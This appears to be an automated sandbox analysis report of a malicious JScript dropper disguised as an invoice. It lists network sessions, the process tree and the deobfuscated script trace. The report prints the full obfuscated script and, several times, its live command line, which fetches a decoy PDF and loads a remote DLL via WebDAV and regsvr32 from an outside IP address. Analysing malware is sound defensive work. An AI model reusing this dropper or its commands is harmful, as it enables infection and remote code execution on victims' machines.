Jan 11, 2025 02:23:53.719069958 CET	1236	IN	Data Raw: 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 3c 38 38 d8 ef 7d 88 c8 ff 7a d0 4a 61 34 15 22 9d 44 73 b3 72 a6 8a 9a 7a e2 83 a3 34 20 13 6d 73 95 4a 27 aa b0 f1 85 39 c6 2b c4 29 73 55 85 Data Ascii: 1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlh
Jan 11, 2025 02:23:53.723707914 CET	1236	IN	Data Raw: 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f 1e 43 4f 4f ee e6 31 f4 b2 89 a1 37 37 4f b7 e3 31 94 4d b9 1b 35 f5 cd 09 00 00 60 1a 7c b1 04 00 db e1 6f ad 3e 86 d6 94 d0 d1 93 25 6b ce b8 Data Ascii: ccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49757	193.143.1.205	8888	2996	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:23:55.437582016 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:23:56.214037895 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:23:56 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	20:23:48
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30362110952254914638.js"
Imagebase:	0x7ff6bb8f0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:23:48
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll
Imagebase:	0x7ff6ad010000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:23:48
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:23:49
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:23:54
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:23:54
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6ad010000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:23:54
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7b6500000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:23:56
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:23:56
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:23:56
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1696,i,977572932083248212,16094357468333576561,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function umzfjv() {	umzfjv() ➔ undefined
1	fdqdqvn = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var yhtrmla = this[jwzxgwtc + rgxztcbp + wiwdtywho + gwyzz + iyzlsprm + mmfhdnlf + ukkylmjg + ylupe] ( this[qglxlvo + cwymjnjy + rogsd + wiwdtywho + qhowc + jwzxgwtc + ylupe][ghxkcrnqm + wiwdtywho + iyzlsprm + rgxztcbp + ylupe + iyzlsprm + csjex + glinf + sdroxvgz + iyzlsprm + rogsd + ylupe] ( qglxlvo + cwymjnjy + rogsd + wiwdtywho + qhowc + jwzxgwtc + ylupe + qgcpvpk + cwymjnjy + dcjrjz + iyzlsprm + jpqumv + jpqumv ) [tfjifp + iyzlsprm + rbqsac + tfjifp + iyzlsprm + rgxztcbp + vpuow] ( eiehw + onnkc + zdefb + jgkgc + zrudmi + ghxkcrnqm + hriakobpt + tfjifp + tfjifp + zdefb + khgpcqdmm + nuhaumor + zrudmi + hriakobpt + cwymjnjy + zdefb + tfjifp + mazpcfnfe + ghxkcrnqm + vnqbr + ukkylmjg + ylupe + wiwdtywho + vnqbr + jpqumv + ovmiqfoc + bulajik + rgxztcbp + ukkylmjg + iyzlsprm + jpqumv + mazpcfnfe + mmfhdnlf + ukkylmjg + ylupe + iyzlsprm + wiwdtywho + ukkylmjg + rgxztcbp + ylupe + qhowc + vnqbr + ukkylmjg + rgxztcbp + jpqumv + mazpcfnfe + fxveeima + vnqbr + rogsd + rgxztcbp + jpqumv + iyzlsprm ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( qxjeyyr = 0 ; qxjeyyr < fdqdqvn[jpqumv + iyzlsprm + ukkylmjg + rbqsac + ylupe + dcjrjz] ; ++ qxjeyyr )
4	{
5	if ( yhtrmla == fdqdqvn[qxjeyyr] )
6	{
7	yhtrmla = true;
8	break ;
9	}
10	}
11	if ( yhtrmla !== true )
12	this[qglxlvo + cwymjnjy + rogsd + wiwdtywho + qhowc + jwzxgwtc + ylupe][cvvfwf + rbjbm + qhowc + ylupe] ( );
13	this[qglxlvo + cwymjnjy + rogsd + wiwdtywho + qhowc + jwzxgwtc + ylupe][ghxkcrnqm + wiwdtywho + iyzlsprm + rgxztcbp + ylupe + iyzlsprm + csjex + glinf + sdroxvgz + iyzlsprm + rogsd + ylupe] ( qglxlvo + cwymjnjy + rogsd + wiwdtywho + qhowc + jwzxgwtc + ylupe + qgcpvpk + cwymjnjy + dcjrjz + iyzlsprm + jpqumv + jpqumv ) [wiwdtywho + rbjbm + ukkylmjg] ( rogsd + pougsse + vpuow + ovmiqfoc + bprvbrbfe + rogsd + ovmiqfoc + jwzxgwtc + vnqbr + zjmlwsgz + iyzlsprm + wiwdtywho + gwyzz + dcjrjz + iyzlsprm + jpqumv + jpqumv + qgcpvpk + iyzlsprm + rgihg + iyzlsprm + ovmiqfoc + gdgradj + ghxkcrnqm + vnqbr + pougsse + pougsse + rgxztcbp + ukkylmjg + vpuow + ovmiqfoc + ejgyvsoo + mmfhdnlf + ukkylmjg + sipagxalr + vnqbr + stedoablk + iyzlsprm + gdgradj + qglxlvo + iyzlsprm + glinf + tfjifp + iyzlsprm + jsauhg + rbjbm + iyzlsprm + gwyzz + ylupe + ovmiqfoc + gdgradj + csjex + rbjbm + ylupe + vwrijzd + qhowc + jpqumv + iyzlsprm + ovmiqfoc + ktmsr + ylupe + iyzlsprm + pougsse + jwzxgwtc + ktmsr + mazpcfnfe + qhowc + ukkylmjg + sipagxalr + vnqbr + qhowc + rogsd + iyzlsprm + qgcpvpk + jwzxgwtc + vpuow + apmsgmb + ovmiqfoc + dcjrjz + ylupe + ylupe + jwzxgwtc + hvdekuksz + bprvbrbfe + bprvbrbfe + qdxmlke + avjgyt + dylwgj + qgcpvpk + qdxmlke + hgzwttycu + dylwgj + qgcpvpk + qdxmlke + qgcpvpk + ijmmlxlws + zrokkkdip + nwabwm + bprvbrbfe + qhowc + ukkylmjg + sipagxalr + vnqbr + qhowc + rogsd + iyzlsprm + qgcpvpk + jwzxgwtc + dcjrjz + jwzxgwtc + ejgyvsoo + ycjomi + ycjomi + gwyzz + ylupe + rgxztcbp + wiwdtywho + ylupe + ovmiqfoc + ktmsr + ylupe + iyzlsprm + pougsse + jwzxgwtc + ktmsr + mazpcfnfe + qhowc + ukkylmjg + sipagxalr + vnqbr + qhowc + rogsd + iyzlsprm + qgcpvpk + jwzxgwtc + vpuow + apmsgmb + ycjomi + ycjomi + rogsd + pougsse + vpuow + ovmiqfoc + bprvbrbfe + rogsd + ovmiqfoc + ukkylmjg + iyzlsprm + ylupe + ovmiqfoc + rbjbm + gwyzz + iyzlsprm + ovmiqfoc + mazpcfnfe + mazpcfnfe + qdxmlke + avjgyt + dylwgj + qgcpvpk + qdxmlke + hgzwttycu + dylwgj + qgcpvpk + qdxmlke + qgcpvpk + ijmmlxlws + zrokkkdip + nwabwm + fuegml + zwdfmvgsd + zwdfmvgsd + zwdfmvgsd + zwdfmvgsd + mazpcfnfe + vpuow + rgxztcbp + sipagxalr + zjmlwsgz + zjmlwsgz + zjmlwsgz + wiwdtywho + vnqbr + vnqbr + ylupe + mazpcfnfe + ycjomi + ycjomi + rogsd + pougsse + vpuow + ovmiqfoc + bprvbrbfe + rogsd + ovmiqfoc + wiwdtywho + iyzlsprm + rbqsac + gwyzz + sipagxalr + wiwdtywho + dylwgj + ijmmlxlws + ovmiqfoc + bprvbrbfe + gwyzz + ovmiqfoc + mazpcfnfe + mazpcfnfe + qdxmlke + avjgyt + dylwgj + qgcpvpk + qdxmlke + hgzwttycu + dylwgj + qgcpvpk + qdxmlke + qgcpvpk + ijmmlxlws + zrokkkdip + nwabwm + fuegml + zwdfmvgsd + zwdfmvgsd + zwdfmvgsd + zwdfmvgsd + mazpcfnfe + vpuow + rgxztcbp + sipagxalr + zjmlwsgz + zjmlwsgz + zjmlwsgz + wiwdtywho + vnqbr + vnqbr + ylupe + mazpcfnfe + ijmmlxlws + yatzxajtm + zrokkkdip + zwdfmvgsd + hgzwttycu + ijmmlxlws + zrokkkdip + avjgyt + zxzfnwzrb + zrokkkdip + ijmmlxlws + hgzwttycu + ijmmlxlws + hgzwttycu + hgzwttycu + qgcpvpk + vpuow + jpqumv + jpqumv, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\260842097024244.dll",0,false) ➔ 0
14	}
15	rgihg = "C";
16	rgihg = "P";
17	rgihg = "c";
18	rgihg = "G";
19	rgihg = "M";
20	rgihg = "i";
21	rgihg = "n";
22	rgihg = "O";
23	rgihg = "i";
24	rgihg = "u";
25	rgihg = "b";
26	rgihg = "r";
27	rgihg = "w";
28	rgihg = "f";
29	rgihg = "z";
30	rgihg = "j";
31	rgihg = "j";
32	rgihg = "L";
33	rgihg = "k";
34	rgihg = "g";
35	rgihg = "C";
36	rgihg = "G";
37	rgihg = "u";
38	rgihg = "Q";
39	rgihg = "I";
40	rgihg = "x";
41	jwzxgwtc = "v";
42	jwzxgwtc = "s";
43	jwzxgwtc = "v";
44	jwzxgwtc = "N";
45	jwzxgwtc = "p";
46	jwzxgwtc = "W";
47	jwzxgwtc = "C";
48	jwzxgwtc = "y";
49	jwzxgwtc = "Z";
50	jwzxgwtc = "A";
51	jwzxgwtc = "t";
52	jwzxgwtc = "Y";
53	jwzxgwtc = "M";
54	jwzxgwtc = "Y";
55	jwzxgwtc = "t";
56	jwzxgwtc = "b";
57	jwzxgwtc = "E";
58	jwzxgwtc = "k";
59	jwzxgwtc = "v";
60	jwzxgwtc = "G";
61	jwzxgwtc = "U";
62	jwzxgwtc = "z";
63	jwzxgwtc = "y";
64	jwzxgwtc = "U";
65	jwzxgwtc = "n";
66	jwzxgwtc = "o";
67	jwzxgwtc = "Q";
68	jwzxgwtc = "F";
69	jwzxgwtc = "h";
70	jwzxgwtc = "c";
71	jwzxgwtc = "u";
72	jwzxgwtc = "M";
73	jwzxgwtc = "I";
74	jwzxgwtc = "k";
75	jwzxgwtc = "O";
76	jwzxgwtc = "S";
77	jwzxgwtc = "F";
78	jwzxgwtc = "R";
79	jwzxgwtc = "Q";
80	jwzxgwtc = "x";
81	jwzxgwtc = "p";
82	fxveeima = "p";
83	fxveeima = "t";
84	fxveeima = "p";
85	fxveeima = "d";
86	fxveeima = "M";
87	fxveeima = "W";
88	fxveeima = "p";
89	fxveeima = "P";
90	fxveeima = "e";
91	fxveeima = "n";
92	fxveeima = "m";
93	fxveeima = "P";
94	fxveeima = "W";
95	fxveeima = "p";
96	fxveeima = "u";
97	fxveeima = "Y";
98	fxveeima = "T";
99	fxveeima = "I";
100	fxveeima = "Z";
101	fxveeima = "o";
102	fxveeima = "S";
103	fxveeima = "k";
104	fxveeima = "L";
105	apmsgmb = "y";
106	apmsgmb = "k";
107	apmsgmb = "h";
108	apmsgmb = "Y";
109	apmsgmb = "z";
110	apmsgmb = "H";
111	apmsgmb = "r";
112	apmsgmb = "n";
113	apmsgmb = "p";
114	apmsgmb = "y";
115	apmsgmb = "z";
116	apmsgmb = "q";
117	apmsgmb = "m";
118	apmsgmb = "k";
119	apmsgmb = "V";
120	apmsgmb = "d";
121	apmsgmb = "l";
122	apmsgmb = "l";
123	apmsgmb = "U";
124	apmsgmb = "q";
125	apmsgmb = "c";
126	apmsgmb = "h";
127	apmsgmb = "S";
128	apmsgmb = "P";
129	apmsgmb = "t";
130	apmsgmb = "s";
131	apmsgmb = "f";
132	dylwgj = "P";
133	dylwgj = "O";
134	dylwgj = "F";
135	dylwgj = "m";
136	dylwgj = "v";
137	dylwgj = "Y";
138	dylwgj = "S";
139	dylwgj = "k";
140	dylwgj = "e";
141	dylwgj = "V";
142	dylwgj = "G";
143	dylwgj = "U";
144	dylwgj = "g";
145	dylwgj = "l";
146	dylwgj = "o";
147	dylwgj = "M";
148	dylwgj = "V";
149	dylwgj = "i";
150	dylwgj = "v";
151	dylwgj = "u";
152	dylwgj = "q";
153	dylwgj = "n";
154	dylwgj = "o";
155	dylwgj = "t";
156	dylwgj = "i";
157	dylwgj = "m";
158	dylwgj = "W";
159	dylwgj = "p";
160	dylwgj = "n";
161	dylwgj = "U";
162	dylwgj = "L";
163	dylwgj = "s";
164	dylwgj = "q";
165	dylwgj = "3";
166	khgpcqdmm = "e";
167	khgpcqdmm = "S";
168	khgpcqdmm = "U";
169	khgpcqdmm = "n";
170	khgpcqdmm = "X";
171	khgpcqdmm = "e";
172	khgpcqdmm = "I";
173	khgpcqdmm = "p";
174	khgpcqdmm = "n";
175	khgpcqdmm = "d";
176	khgpcqdmm = "j";
177	khgpcqdmm = "q";
178	khgpcqdmm = "E";
179	khgpcqdmm = "Q";
180	khgpcqdmm = "d";
181	khgpcqdmm = "k";
182	khgpcqdmm = "Y";
183	khgpcqdmm = "O";
184	khgpcqdmm = "q";
185	khgpcqdmm = "S";
186	khgpcqdmm = "W";
187	khgpcqdmm = "E";
188	khgpcqdmm = "w";
189	khgpcqdmm = "i";
190	khgpcqdmm = "Y";
191	khgpcqdmm = "X";
192	khgpcqdmm = "N";
193	khgpcqdmm = "g";
194	khgpcqdmm = "D";
195	khgpcqdmm = "q";
196	khgpcqdmm = "U";
197	khgpcqdmm = "h";
198	khgpcqdmm = "x";
199	khgpcqdmm = "L";
200	khgpcqdmm = "m";
201	khgpcqdmm = "s";
202	khgpcqdmm = "I";
203	khgpcqdmm = "S";
204	khgpcqdmm = "x";
205	khgpcqdmm = "A";
206	khgpcqdmm = "Y";
207	khgpcqdmm = "A";
208	khgpcqdmm = "w";
209	khgpcqdmm = "k";
210	khgpcqdmm = "N";
211	gwyzz = "C";
212	gwyzz = "p";
213	gwyzz = "x";
214	gwyzz = "M";
215	gwyzz = "X";
216	gwyzz = "R";
217	gwyzz = "M";
218	gwyzz = "S";
219	gwyzz = "Z";
220	gwyzz = "W";
221	gwyzz = "L";
222	gwyzz = "J";
223	gwyzz = "P";
224	gwyzz = "s";
225	eiehw = "k";
226	eiehw = "d";
227	eiehw = "H";
228	eiehw = "A";
229	eiehw = "p";
230	eiehw = "I";
231	eiehw = "D";
232	eiehw = "Y";
233	eiehw = "Z";
234	eiehw = "K";
235	eiehw = "V";
236	eiehw = "k";
237	eiehw = "q";
238	eiehw = "p";
239	eiehw = "R";
240	eiehw = "p";
241	eiehw = "t";
242	eiehw = "G";
243	eiehw = "X";
244	eiehw = "u";
245	eiehw = "o";
246	eiehw = "v";
247	eiehw = "o";
248	eiehw = "p";
249	eiehw = "B";
250	eiehw = "r";
251	eiehw = "d";
252	eiehw = "g";
253	eiehw = "M";
254	eiehw = "L";
255	eiehw = "o";
256	eiehw = "d";
257	eiehw = "X";
258	eiehw = "e";
259	eiehw = "I";
260	eiehw = "w";
261	eiehw = "o";
262	eiehw = "I";
263	eiehw = "H";
264	ktmsr = "I";
265	ktmsr = "h";
266	ktmsr = "Q";
267	ktmsr = "s";
268	ktmsr = "g";
269	ktmsr = "g";
270	ktmsr = "K";
271	ktmsr = "W";
272	ktmsr = "b";
273	ktmsr = "f";
274	ktmsr = "e";
275	ktmsr = "n";
276	ktmsr = "j";
277	ktmsr = "w";
278	ktmsr = "W";
279	ktmsr = "j";
280	ktmsr = "H";
281	ktmsr = "v";
282	ktmsr = "q";
283	ktmsr = "m";
284	ktmsr = "B";
285	ktmsr = "d";
286	ktmsr = "F";
287	ktmsr = "E";
288	ktmsr = "L";
289	ktmsr = "K";
290	ktmsr = "h";
291	ktmsr = "V";
292	ktmsr = "f";
293	ktmsr = "x";
294	ktmsr = "G";
295	ktmsr = "G";
296	ktmsr = "d";
297	ktmsr = "F";
298	ktmsr = "W";
299	ktmsr = "Z";
300	ktmsr = "s";
301	ktmsr = "I";
302	ktmsr = "c";
303	ktmsr = "%";
304	vwrijzd = "h";
305	vwrijzd = "S";
306	vwrijzd = "H";
307	vwrijzd = "Y";
308	vwrijzd = "o";
309	vwrijzd = "C";
310	vwrijzd = "s";
311	vwrijzd = "M";
312	vwrijzd = "m";
313	vwrijzd = "G";
314	vwrijzd = "u";
315	vwrijzd = "l";
316	vwrijzd = "e";
317	vwrijzd = "v";
318	vwrijzd = "t";
319	vwrijzd = "S";
320	vwrijzd = "I";
321	vwrijzd = "C";
322	vwrijzd = "s";
323	vwrijzd = "a";
324	vwrijzd = "x";
325	vwrijzd = "H";
326	vwrijzd = "q";
327	vwrijzd = "k";
328	vwrijzd = "X";
329	vwrijzd = "x";
330	vwrijzd = "M";
331	vwrijzd = "E";
332	vwrijzd = "L";
333	vwrijzd = "n";
334	vwrijzd = "i";
335	vwrijzd = "N";
336	vwrijzd = "T";
337	vwrijzd = "f";
338	vwrijzd = "L";
339	vwrijzd = "q";
340	vwrijzd = "F";
341	ghxkcrnqm = "x";
342	ghxkcrnqm = "Z";
343	ghxkcrnqm = "n";
344	ghxkcrnqm = "z";
345	ghxkcrnqm = "S";
346	ghxkcrnqm = "j";
347	ghxkcrnqm = "m";
348	ghxkcrnqm = "L";
349	ghxkcrnqm = "L";
350	ghxkcrnqm = "C";
351	iyzlsprm = "m";
352	iyzlsprm = "W";
353	iyzlsprm = "Q";
354	iyzlsprm = "d";
355	iyzlsprm = "X";
356	iyzlsprm = "W";
357	iyzlsprm = "L";
358	iyzlsprm = "n";
359	iyzlsprm = "f";
360	iyzlsprm = "O";
361	iyzlsprm = "W";
362	iyzlsprm = "M";
363	iyzlsprm = "Y";
364	iyzlsprm = "g";
365	iyzlsprm = "d";
366	iyzlsprm = "v";
367	iyzlsprm = "T";
368	iyzlsprm = "X";
369	iyzlsprm = "G";
370	iyzlsprm = "o";
371	iyzlsprm = "O";
372	iyzlsprm = "P";
373	iyzlsprm = "E";
374	iyzlsprm = "n";
375	iyzlsprm = "X";
376	iyzlsprm = "F";
377	iyzlsprm = "e";
378	iyzlsprm = "Z";
379	iyzlsprm = "r";
380	iyzlsprm = "b";
381	iyzlsprm = "s";
382	iyzlsprm = "l";
383	iyzlsprm = "d";
384	iyzlsprm = "m";
385	iyzlsprm = "Z";
386	iyzlsprm = "o";
387	iyzlsprm = "K";
388	iyzlsprm = "p";
389	iyzlsprm = "e";
390	ycjomi = "m";
391	ycjomi = "P";
392	ycjomi = "m";
393	ycjomi = "&";
394	jgkgc = "o";
395	jgkgc = "g";
396	jgkgc = "Y";
397	jgkgc = "B";
398	jgkgc = "V";
399	jgkgc = "G";
400	jgkgc = "b";
401	jgkgc = "W";
402	jgkgc = "g";
403	jgkgc = "F";
404	jgkgc = "P";
405	jgkgc = "K";
406	jgkgc = "Y";
407	hvdekuksz = "s";
408	hvdekuksz = "m";
409	hvdekuksz = "Y";
410	hvdekuksz = "A";
411	hvdekuksz = "d";
412	hvdekuksz = "U";
413	hvdekuksz = "V";
414	hvdekuksz = "f";
415	hvdekuksz = "h";
416	hvdekuksz = "q";
417	hvdekuksz = "W";
418	hvdekuksz = ":";
419	ylupe = "t";
420	sdroxvgz = "R";
421	sdroxvgz = "F";
422	sdroxvgz = "G";
423	sdroxvgz = "j";
424	qglxlvo = "H";
425	qglxlvo = "m";
426	qglxlvo = "u";
427	qglxlvo = "G";
428	qglxlvo = "Z";
429	qglxlvo = "h";
430	qglxlvo = "S";
431	qglxlvo = "K";
432	qglxlvo = "Q";
433	qglxlvo = "M";
434	qglxlvo = "C";
435	qglxlvo = "S";
436	qglxlvo = "l";
437	qglxlvo = "M";
438	qglxlvo = "M";
439	qglxlvo = "G";
440	qglxlvo = "K";
441	qglxlvo = "B";
442	qglxlvo = "m";
443	qglxlvo = "d";
444	qglxlvo = "c";
445	qglxlvo = "P";
446	qglxlvo = "c";
447	qglxlvo = "k";
448	qglxlvo = "a";
449	qglxlvo = "N";
450	qglxlvo = "X";
451	qglxlvo = "Z";
452	qglxlvo = "S";
453	qglxlvo = "G";
454	qglxlvo = "W";
455	bulajik = "X";
456	bulajik = "m";
457	bulajik = "J";
458	bulajik = "e";
459	bulajik = "b";
460	bulajik = "r";
461	bulajik = "M";
462	bulajik = "B";
463	bulajik = "V";
464	bulajik = "p";
465	bulajik = "n";
466	bulajik = "A";
467	bulajik = "r";
468	bulajik = "S";
469	bulajik = "w";
470	bulajik = "Y";
471	bulajik = "e";
472	bulajik = "P";
473	zrokkkdip = "G";
474	zrokkkdip = "W";
475	zrokkkdip = "D";
476	zrokkkdip = "X";
477	zrokkkdip = "d";
478	zrokkkdip = "S";
479	zrokkkdip = "W";
480	zrokkkdip = "O";
481	zrokkkdip = "L";
482	zrokkkdip = "0";
483	wiwdtywho = "I";
484	wiwdtywho = "G";
485	wiwdtywho = "Z";
486	wiwdtywho = "g";
487	wiwdtywho = "o";
488	wiwdtywho = "W";
489	wiwdtywho = "R";
490	wiwdtywho = "N";
491	wiwdtywho = "s";
492	wiwdtywho = "A";
493	wiwdtywho = "x";
494	wiwdtywho = "k";
495	wiwdtywho = "f";
496	wiwdtywho = "X";
497	wiwdtywho = "z";
498	wiwdtywho = "j";
499	wiwdtywho = "Z";
500	wiwdtywho = "o";
501	wiwdtywho = "x";
502	wiwdtywho = "u";
503	wiwdtywho = "H";
504	wiwdtywho = "c";
505	wiwdtywho = "H";
506	wiwdtywho = "U";
507	wiwdtywho = "h";
508	wiwdtywho = "i";
509	wiwdtywho = "P";
510	wiwdtywho = "Q";
511	wiwdtywho = "y";
512	wiwdtywho = "S";
513	wiwdtywho = "U";
514	wiwdtywho = "t";
515	wiwdtywho = "r";
516	cvvfwf = "m";
517	cvvfwf = "w";
518	cvvfwf = "b";
519	cvvfwf = "n";
520	cvvfwf = "v";
521	cvvfwf = "O";
522	cvvfwf = "B";
523	cvvfwf = "w";
524	cvvfwf = "C";
525	cvvfwf = "v";
526	cvvfwf = "Q";
527	cvvfwf = "z";
528	cvvfwf = "p";
529	cvvfwf = "w";
530	cvvfwf = "u";
531	cvvfwf = "S";
532	cvvfwf = "Q";
533	nwabwm = "X";
534	nwabwm = "s";
535	nwabwm = "E";
536	nwabwm = "5";
537	zwdfmvgsd = "Y";
538	zwdfmvgsd = "8";
539	rgxztcbp = "c";
540	rgxztcbp = "z";
541	rgxztcbp = "a";
542	zdefb = "k";
543	zdefb = "H";
544	zdefb = "g";
545	zdefb = "m";
546	zdefb = "s";
547	zdefb = "H";
548	zdefb = "m";
549	zdefb = "S";
550	zdefb = "z";
551	zdefb = "K";
552	zdefb = "C";
553	zdefb = "J";
554	zdefb = "n";
555	zdefb = "o";
556	zdefb = "E";
557	rbqsac = "I";
558	rbqsac = "i";
559	rbqsac = "V";
560	rbqsac = "t";
561	rbqsac = "B";
562	rbqsac = "Y";
563	rbqsac = "R";
564	rbqsac = "a";
565	rbqsac = "Y";
566	rbqsac = "W";
567	rbqsac = "k";
568	rbqsac = "d";
569	rbqsac = "D";
570	rbqsac = "j";
571	rbqsac = "Y";
572	rbqsac = "W";
573	rbqsac = "P";
574	rbqsac = "l";
575	rbqsac = "E";
576	rbqsac = "p";
577	rbqsac = "g";
578	avjgyt = "w";
579	avjgyt = "O";
580	avjgyt = "q";
581	avjgyt = "r";
582	avjgyt = "k";
583	avjgyt = "p";
584	avjgyt = "X";
585	avjgyt = "T";
586	avjgyt = "e";
587	avjgyt = "o";
588	avjgyt = "g";
589	avjgyt = "l";
590	avjgyt = "Z";
591	avjgyt = "q";
592	avjgyt = "a";
593	avjgyt = "E";
594	avjgyt = "D";
595	avjgyt = "N";
596	avjgyt = "e";
